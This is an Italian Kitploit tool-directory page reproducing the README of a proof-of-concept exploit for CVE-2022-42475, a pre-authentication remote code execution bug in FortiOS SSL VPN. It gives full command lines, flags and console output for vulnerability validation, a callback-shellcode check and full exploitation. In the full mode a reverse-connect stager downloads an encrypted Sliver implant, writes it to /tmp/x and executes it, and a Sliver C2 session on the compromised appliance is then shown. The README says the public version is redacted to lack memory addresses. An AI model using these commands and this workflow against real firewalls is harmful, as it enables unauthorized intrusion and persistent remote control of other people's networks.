Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-42475-POC — Exploit per CVE-2022-42475, una RCE pre-autenticazione in FortiOS SSL VPN. Supporta la validazione, la verifica benigna e lo sfruttamento completo con shellcode di connessione inversa e stager binario cifrato per l'accesso remoto. | Kitploit
Strumenti/GitHubGitHub/arthurhendrich/cve-2022-42475-poc
Analisi delle VulnerabilitàExploitShellcodeSicurezza WebPenetration TestingRed TeamingSviluppo Payload
GitHubarthurhendrich/cve-2022-42475-poc

CVE-2022-42475-POC

Exploit per CVE-2022-42475, una RCE pre-autenticazione in FortiOS SSL VPN. Supporta la validazione, la verifica benigna e lo sfruttamento completo con shellcode di connessione inversa e stager binario cifrato per l'accesso remoto.

Vedi Repository
107 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-42475

Contesto

Questo è l'exploit per il post del blog qui: https://bishopfox.com/blog/exploit-cve-2022-42475

Versione redatta

Questa versione dell'exploit non funzionerà senza che tu, l'hacker, fornisca gli indirizzi di memoria necessari per i gadget ROP, ecc. Il lavoro per determinare questi dati è riservato e di proprietà di Bishop Fox e non pubblicherò (né posso) pubblicarlo insieme a questo exploit. Confido che tu capisca!

Modalità di funzionamento

  • Solo convalida, nessun exploit. Determina se è vulnerabile. Nessun payload, nessun shellcode.
  • Exploit, ma solo verifica. Esegue uno shellcode "ping" di connessione di ritorno benigno per verificare che il target sia sfruttabile.
  • Exploit con stager binario di connessione di ritorno. Lo shellcode si riconnette all'exploit, scarica un file binario crittografato fornito dall'operatore (tipicamente https://github.com/BishopFox/Sliver), lo decifra, quindi chiama execve(file_binario).

Nota: Al momento la modalità "solo convalida" funziona su tutte le versioni conosciute di FortiOS. Tuttavia, gli exploit funzionano solo contro FortiOS 6.0.4 su hardware 100D. Non lavoro più in BF e quindi non posso pubblicare l'exploit esteso che supporta qualcosa come 18k target.

Requisiti

  • PyCrypto
  • pycryptodome
pip3 install PyCrypto
pip3 install pycryptodome

Solo convalida

Questo non tenterà alcun exploit del bug, ma lo attiverà come crash (il demone SSL VPN remoto si riavvia automaticamente e immediatamente). Il crash viene rilevato in modo euristico e segnalato all'operatore.

Eseguilo usando il flag -v di convalida:

$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] In esecuzione in modalità solo convalida. Nessun RCE.
[>] Verifica se il target è vulnerabile (potrebbe richiedere 10 secondi)
[+] Il target '192.168.0.10:8443' sembra VULNERABILE

Exploit, ma convalida (funzionalità attualmente disponibile solo per FortiOS 6.0.4 su apparecchi 100D)

Questo attiverà il bug, distribuirà una catena ROP e salterà allo shellcode. Lo shellcode è benigno e funziona come segue:

  • L'exploit si connette al target e attiva la vulnerabilità per eseguire lo shellcode
  • Lo shellcode si riconnette all'IP:porta dell'operatore
  • Lo shellcode invia un singolo byte "hello" all'exploit: 0xbf
  • L'exploit consegna un piccolo payload di test crittografato allo shellcode (la chiave AES è casuale a ogni esecuzione)
  • Lo shellcode decifra il payload e lo salva in /tmp/x sull'apparecchio FortiGate
  • Lo shellcode invia un altro singolo byte 0xbf all'exploit se la decifratura del payload è andata a buon fine
  • L'exploit legge il byte e conferma l'esecuzione del codice.

Flag:

-t           host/IP target
-p           porta target
-e           modalità exploit
-c           modalità solo connessione di ritorno
-H e -P      IP:porta dell'operatore (obbligatorio)
-s           versione software di FortiOS (obbligatoria)
-m           modello hardware su cui è in esecuzione FortiOS
-d           attiva il debug

Un esempio in cui selezioniamo sia la versione software 6.0.4 che il modello di apparecchio 100D:

┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generazione di una chiave AES casuale a 128 bit per crittografare il payload
[+] Crittografia del payload in corso...
[+] Utilizzo di shellcode in cache. Modifica ./x.py (cerca 'shellcode.s') per forzare l'aggiornamento.
[+] Configurato per la connessione di ritorno a 192.168.0.99:443
[+] Avvio del listener per payload crittografato...
[+] Preparazione dell'exploit...
[+] Invio della richiesta!
[+] Importazione dei gadget da 'exploit_data.json'
[<] Listener in ascolto sulla porta 443, in attesa di connessione di ritorno...
[+] Convalida dei gadget...
[!] Nessun modello hardware funzionale definito per FortiOS '5.2.14'. Rimosso.
[!] Nessun modello hardware funzionale definito per FortiOS '5.6.9'. Rimosso.
[+] Importati 797 target:
[-]   6.0.4     [  1 target ]   <=== 100D
[-]   5.2.14    [ 47 target ]
[-]   5.6.9     [ 60 target ]
[-]   6.0.13    [ 68 target ]
[-]   6.0.14    [ 67 target ]
[-]   6.0.15    [ 58 target ]
[-]   6.0.8     [ 67 target ]
[-]   6.2.11    [ 69 target ]
[-]   6.2.7     [ 75 target ]
[-]   6.4.10    [ 71 target ]
[-]   6.4.2     [ 62 target ]
[-]   6.4.3     [ 61 target ]
[-]   6.4.6     [ 73 target ]
[-]   6.4.9     [ 72 target ]
[-]   7.0.4     [ 53 target ]
[+] Avvio dell'exploit
[<] Richiesta in arrivo da 192.168.0.10:22470
[<] Pacchetto hello ricevuto dal target!! Modello #: 100D
[<] Invio del payload crittografato di 36 byte
[<] Invio del payload completato (36 byte), in attesa di risposta...
[<] Ricevuta la risposta prevista ('100D') da 192.168.0.10
[<] Il target è VULNERABILE con sicurezza al 100%.
[+] Operazione completata!

Se si omette -m per scegliere un modello hardware, l'exploit tenterà a forza bruta tutti i target hardware per la versione software specificata.

Guerra termonucleare globale

  • L'operatore specifica la posizione di un binario implant Sliver (basato su Linux)
  • L'exploit si connette al target e attiva la vulnerabilità per eseguire lo shellcode
  • Lo shellcode si riconnette all'IP:porta dell'operatore
  • Lo shellcode invia un singolo byte "hello" all'exploit: 0xbf
  • L'exploit crittografa il binario Sliver e lo invia allo shellcode
  • Lo shellcode decifra il binario e lo salva in /tmp/x
  • Lo shellcode invia un byte "successo" 0xbf all'exploit
  • L'exploit legge il byte e conferma l'esecuzione del codice
  • Lo shellcode chiama execve("/tmp/x")
  • ???
  • Profitto!

Flag:

-t           host/IP target
-p           porta target
-e           modalità exploit
-f filename  /percorso/del/binario/da/eseguire/sul/target
-H e -P      IP:porta dell'operatore per la connessione di ritorno (obbligatorio)
-s           versione software di FortiOS (obbligatoria)
-m           modello hardware su cui è in esecuzione FortiOS
-d           attiva il debug

Sliver:

carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Benvenuto nella shell sliver, digita 'help' per le opzioni

[server] sliver > mtls -l 8888

[*] Avvio listener mTLS ...

[*] Job #1 avviato con successo

Exploit:

$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] L'exploit tenterà di eseguire execve("implant5") sul target
...
[<] Il target è VULNERABILE con sicurezza al 100%.
[+] Operazione completata.

E tornando a Sliver:

[*] Sessione d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > usa d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Sessione attiva implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

ID di accesso: <err>

[server] sliver (implant5) > ls
Scarica lo strumento